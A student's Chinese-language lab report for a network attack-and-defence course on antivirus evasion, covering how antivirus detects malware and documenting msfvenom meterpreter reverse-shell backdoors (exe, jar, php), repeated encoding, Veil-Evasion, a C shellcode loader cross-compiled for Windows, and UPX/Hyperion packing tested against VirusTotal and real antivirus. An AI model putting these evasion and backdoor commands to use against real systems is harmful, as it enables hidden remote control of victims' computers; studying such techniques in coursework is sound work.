Exp3 免杀原理与实践 20164323段钊阳

  网络对抗技术 20164323 Exp3 免杀原理与实践

免杀

   一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。

   反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

 

 

1、杀软是如何检测出恶意代码的?

 

基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。

基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。

2、免杀是做什么?

让后门程序不被杀软检测出来

3、免杀的基本方法有哪些?

msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion

4、离实战还缺些什么技术或步骤?

怎么把后门植入别人的电脑,还有ping通两段网络

 

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

1、使用msf编码器

通过上个实验中学到的命令生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 38.128 LPORT=4323 -f exe > met.exe

 

将生成的程序上传到virus total试试结果

 

使用msf编码器对后门程序编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.38.144 LPORT=4323 -f exe > met-encoded10.exe

 

再上传到virus total试试免杀操作是否有效

 

2、使用msfvenom生成jar

使用Java后门程序生成命令

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.38.128 lport=4323 x> 20164323_backdoor_java.jar

3、使用msfvenom生成php

使用php后门程序生成命令

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.38.128 lport=4323 x> 20164323_backdoor.php

 

4、使用veil-evasion

首先需要安装veil,我尝试了一天安装,换了好几次源,更新了win32.win64最后成功卡在了展开对象,远程意外中断,最终只能无奈选择拷别人的虚拟机。此处因为是别的虚拟机,ip地址变了.

设置veil

use evasion

use 7

set LHOST 192.168.1.115

set LPORT 4323

 

 

把它挂上virus total

 

感觉自己做了假的veil,还是这么多的,没有什么用

5、利用shellcode编程(这里又使用了自己的虚拟机)

先执行shellcode生成命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.38.128 LPORT=4323 -f c

得到shellcode

 

任务二:Linux平台交叉编译Windows应用

1、使用交叉编译

新建.c文件,将shellcode和c代码组合到一起

vim 4323met.c

unsigned char buf[] =

将shellcode替换到此处

int main()

{

    int (*func)() = (int(*)())buf;

    func();

}

执行

i686-w64-mingw32-g++ 4323met.c -o 4323met.exe

编译成exe文件

 

然后把它挂上virus total测一下,同时电脑也查了出来

 

 

 

加压缩壳

upx 4323.exe -o cal_4323.exe

 

但是还是没有骗过杀软还是杀出来了

使用加密壳(Hyperion)

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/中

输入命令

wine hyperion.exe -v 4323_upxed.exe 4323_upxed_hyperion.exe

进行加壳

 

这个实现了免杀的效果,,,不过我所有加壳的文件在windows都运行不了,我只能使用之前没有加壳被杀软杀出来的exe进行回连(腾讯电脑管家),发现成功了,我找不到原因在哪里。。

 

 

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

我使用了两台电脑进行测试,一台是腾讯电脑管家,一家是window自带的Windows Defender

腾讯电脑管家没有检查出来,windows Defender疯狂报毒(可能是新买的电脑,杀毒很强吧),但是两个回连都失败了

 

我ping了两台电脑,发现都ping不通,我尝试了改了网络的连接方式,改成桥接,发现还是行不通。找不到原因,但是自己的电脑可以回连成功。

问题

 遇到的问题有很多,veil的安装,还有加壳的exe打不开,还有第三台电脑回连不成功,回连应该是网络的问题,如果两端网络可以ping通的话,应该可以成功,加壳的exe打不开我查了一下可能是权限的问题,但也没有提示权限不足,可能是windows自带的问题。

感想:

这次实验做的好失败,做的所有东西好像都被杀软查出来了,没有被杀软查出来的,却打不开,不过免杀技术还是很有用,在平时的生活中,我们电脑中的杀毒软件可能并不靠谱,就需要我们自己提高防范意识,不要去下一些乱七八糟的东西。

 

posted on 2019-03-31 14:13  dzy9  阅读(130)  评论(0编辑  收藏